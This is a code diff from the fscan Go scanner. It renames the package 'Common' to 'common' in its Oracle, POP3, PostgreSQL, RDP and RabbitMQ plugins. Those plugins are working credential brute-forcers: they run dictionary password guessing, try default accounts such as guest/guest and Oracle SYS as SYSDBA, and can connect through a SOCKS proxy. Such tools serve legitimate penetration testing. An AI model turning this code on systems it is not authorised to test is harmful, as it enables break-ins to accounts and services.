case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -190,14 +190,14 @@ func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credential
}
return nil
case <-ctx.Done():
Common.LogDebug("Oracle并发扫描全局超时")
common.LogDebug("Oracle并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryOracleCredential 尝试单个Oracle凭据
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
func tryOracleCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -210,7 +210,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -266,7 +266,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -281,7 +281,7 @@ func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential
}
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
func tryOracleSysCredential(ctx context.Context, info *common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -294,7 +294,7 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -350,7 +350,7 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -365,12 +365,12 @@ func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credenti
}
// OracleConn 尝试Oracle连接
func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
func OracleConn(ctx context.Context, info *common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
host, port := info.Host, info.Ports
// 构造连接字符串,添加更多参数
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
user, pass, host, port, serviceName, Common.Timeout)
user, pass, host, port, serviceName, common.Timeout)
// 对SYS用户使用SYSDBA权限
if asSysdba {
@ -385,13 +385,13 @@ func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass st
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 使用上下文测试连接
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel()
// 测试连接
@ -405,7 +405,7 @@ func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass st
}
// saveOracleResult 保存Oracle扫描结果
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) {
func saveOracleResult(info *common.HostInfo, target string, credential OracleCredential, serviceName string) {
var successMsg string
if strings.ToUpper(credential.Username) == "SYS" {
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
@ -414,12 +414,12 @@ func saveOracleResult(info *Common.HostInfo, target string, credential OracleCre
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
target, credential.Username, credential.Password, serviceName)
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -431,5 +431,5 @@ func saveOracleResult(info *Common.HostInfo, target string, credential OracleCre
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -10,7 +10,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// POP3Credential 表示一个POP3凭据
@ -27,22 +27,22 @@ type POP3ScanResult struct {
IsTLS bool
}
func POP3Scan(info *Common.HostInfo) error {
if Common.DisableBrute {
func POP3Scan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []POP3Credential
for _, user := range Common.Userdict["pop3"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["pop3"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, POP3Credential{
Username: user,
@ -51,11 +51,11 @@ func POP3Scan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["pop3"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描,但需要限制速率
result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentPOP3Scan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
savePOP3Result(info, target, result)
@ -65,16 +65,16 @@ func POP3Scan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("POP3扫描全局超时")
common.LogDebug("POP3扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentPOP3Scan 并发扫描POP3服务包含速率限制
func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
func concurrentPOP3Scan(ctx context.Context, info *common.HostInfo, credentials []POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
// 不使用ModuleThreadNum控制并发数必须单线程
maxConcurrent := 1
if maxConcurrent <= 0 {
@ -131,7 +131,7 @@ func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials
currentCount := processedCount
processedCountMutex.Unlock()
Common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
common.LogDebug(fmt.Sprintf("[%d/%d] 工作线程 %d 尝试: %s:%s",
currentCount, len(credentials), workerID, credential.Username, credential.Password))
result := tryPOP3Credential(scanCtx, info, credential, timeoutSeconds, maxRetries)
@ -174,14 +174,14 @@ func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("POP3并发扫描全局超时")
common.LogDebug("POP3并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPOP3Credential 尝试单个POP3凭据
func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
func tryPOP3Credential(ctx context.Context, info *common.HostInfo, credential POP3Credential, timeoutSeconds int64, maxRetries int) *POP3ScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -194,7 +194,7 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
// 重试间隔时间增加,避免触发服务器限制
retryDelay := time.Duration(retry*2000) * time.Millisecond
time.Sleep(retryDelay)
@ -221,13 +221,13 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
strings.Contains(strings.ToLower(err.Error()), "timeout") {
// 服务器可能限制连接,增加等待时间
waitTime := time.Duration((retry+1)*3000) * time.Millisecond
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
time.Sleep(waitTime)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -242,8 +242,8 @@ func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, credential PO
}
// POP3Conn 尝试POP3连接
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(Common.Timeout) * time.Second
func POP3Conn(ctx context.Context, info *common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 创建结果通道
@ -256,7 +256,7 @@ func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass stri
// 在协程中尝试连接,支持取消
go func() {
// 首先尝试普通连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err == nil {
flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
conn.Close()
@ -384,7 +384,7 @@ func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration)
}
// savePOP3Result 保存POP3扫描结果
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) {
func savePOP3Result(info *common.HostInfo, target string, result *POP3ScanResult) {
tlsStatus := ""
if result.IsTLS {
tlsStatus = " (TLS)"
@ -392,12 +392,12 @@ func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
target, result.Credential.Username, result.Credential.Password, tlsStatus)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -409,5 +409,5 @@ func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult
"tls": result.IsTLS,
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -11,7 +11,7 @@ import (
"time"
"github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// PostgresProxyDialer 自定义dialer结构体
@ -21,12 +21,12 @@ type PostgresProxyDialer struct {
// Dial 实现pq.Dialer接口支持socks代理
func (d *PostgresProxyDialer) Dial(network, address string) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, d.timeout)
return common.WrapperTcpWithTimeout(network, address, d.timeout)
}
// DialTimeout 实现具有超时的连接
func (d *PostgresProxyDialer) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return Common.WrapperTcpWithTimeout(network, address, timeout)
return common.WrapperTcpWithTimeout(network, address, timeout)
}
// PostgresCredential 表示一个PostgreSQL凭据
@ -43,22 +43,22 @@ type PostgresScanResult struct {
}
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func PostgresScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []PostgresCredential
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, PostgresCredential{
Username: user,
@ -67,11 +67,11 @@ func PostgresScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["postgresql"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries)
result := concurrentPostgresScan(ctx, info, credentials, common.Timeout+10, common.MaxRetries)
if result != nil {
// 记录成功结果
savePostgresResult(info, target, result.Credential)
@ -81,18 +81,18 @@ func PostgresScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("PostgreSQL扫描全局超时")
common.LogDebug("PostgreSQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentPostgresScan 并发扫描PostgreSQL服务
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
func concurrentPostgresScan(ctx context.Context, info *common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -138,7 +138,7 @@ func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -159,14 +159,14 @@ func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credenti
}
return nil
case <-ctx.Done():
Common.LogDebug("PostgreSQL并发扫描全局超时")
common.LogDebug("PostgreSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPostgresCredential 尝试单个PostgreSQL凭据
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
func tryPostgresCredential(ctx context.Context, info *common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -179,7 +179,7 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -198,7 +198,7 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -213,18 +213,18 @@ func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credentia
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func PostgresConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒
user, pass, info.Host, info.Ports, common.Timeout/1000, // 转换为秒
)
// 检查是否需要使用socks代理
if Common.Socks5Proxy != "" {
if common.Socks5Proxy != "" {
// 使用自定义dialer通过socks代理连接
dialer := &PostgresProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
timeout: time.Duration(common.Timeout) * time.Millisecond,
}
// 使用pq.DialOpen通过自定义dialer建立连接
@ -262,7 +262,7 @@ func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Millisecond)
db.SetMaxOpenConns(1)
db.SetMaxIdleConns(0)
@ -296,15 +296,15 @@ func (c *postgresConnector) Driver() driver.Driver {
}
// savePostgresResult 保存PostgreSQL扫描结果
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) {
func savePostgresResult(info *common.HostInfo, target string, credential PostgresCredential) {
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -315,5 +315,5 @@ func savePostgresResult(info *Common.HostInfo, target string, credential Postgre
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -4,7 +4,7 @@ import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
@ -38,43 +38,43 @@ type RDPScanResult struct {
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) error {
func RdpScan(info *common.HostInfo) error {
defer func() {
if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
}
}()
if Common.DisableBrute {
if common.DisableBrute {
return nil
}
port, _ := strconv.Atoi(info.Ports)
target := fmt.Sprintf("%v:%v", info.Host, port)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []RDPCredential
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["rdp"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RDPCredential{
Username: user,
Password: actualPass,
Domain: Common.Domain,
Domain: common.Domain,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["rdp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout)
result := concurrentRdpScan(ctx, info, credentials, port, common.Timeout)
if result != nil {
// 记录成功结果
saveRdpResult(info, target, port, result.Credential)
@ -84,18 +84,18 @@ func RdpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("RDP扫描全局超时")
common.LogDebug("RDP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentRdpScan 并发扫描RDP服务
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
func concurrentRdpScan(ctx context.Context, info *common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -141,7 +141,7 @@ func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -162,7 +162,7 @@ func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials [
}
return nil
case <-ctx.Done():
Common.LogDebug("RDP并发扫描全局超时")
common.LogDebug("RDP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
@ -229,7 +229,7 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
}
// saveRdpResult 保存RDP扫描结果
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) {
func saveRdpResult(info *common.HostInfo, target string, port int, credential RDPCredential) {
var successMsg string
if credential.Domain != "" {
@ -240,7 +240,7 @@ func saveRdpResult(info *Common.HostInfo, target string, port int, credential RD
target, credential.Username, credential.Password)
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
details := map[string]interface{}{
@ -255,14 +255,14 @@ func saveRdpResult(info *Common.HostInfo, target string, port int, credential RD
details["domain"] = credential.Domain
}
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}
// Client RDP客户端结构
@ -291,7 +291,7 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}

View File

@ -4,7 +4,7 @@ import (
"context"
"fmt"
amqp "github.com/rabbitmq/amqp091-go"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"sync"
@ -26,35 +26,35 @@ type RabbitMQScanResult struct {
}
// RabbitMQScan 执行 RabbitMQ 服务扫描
func RabbitMQScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func RabbitMQScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试默认账号 guest/guest
Common.LogDebug("尝试默认账号 guest/guest")
common.LogDebug("尝试默认账号 guest/guest")
defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries)
if defaultResult.Success {
saveRabbitMQResult(info, target, defaultResult.Credential)
return nil
} else if defaultResult.Error != nil {
// 打印默认账号的详细错误信息
Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
}
// 构建其他凭据列表
var credentials []RabbitMQCredential
for _, user := range Common.Userdict["rabbitmq"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["rabbitmq"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RabbitMQCredential{
Username: user,
@ -63,11 +63,11 @@ func RabbitMQScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["rabbitmq"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentRabbitMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveRabbitMQResult(info, target, result.Credential)
@ -77,18 +77,18 @@ func RabbitMQScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("RabbitMQ扫描全局超时")
common.LogDebug("RabbitMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
return nil
}
}
// concurrentRabbitMQScan 并发扫描RabbitMQ服务
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
func concurrentRabbitMQScan(ctx context.Context, info *common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -134,7 +134,7 @@ func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -155,14 +155,14 @@ func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credenti
}
return nil
case <-ctx.Done():
Common.LogDebug("RabbitMQ并发扫描全局超时")
common.LogDebug("RabbitMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRabbitMQCredential 尝试单个RabbitMQ凭据
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
func tryRabbitMQCredential(ctx context.Context, info *common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
var lastErr error
var errorMsg string
@ -177,7 +177,7 @@ func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credentia
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
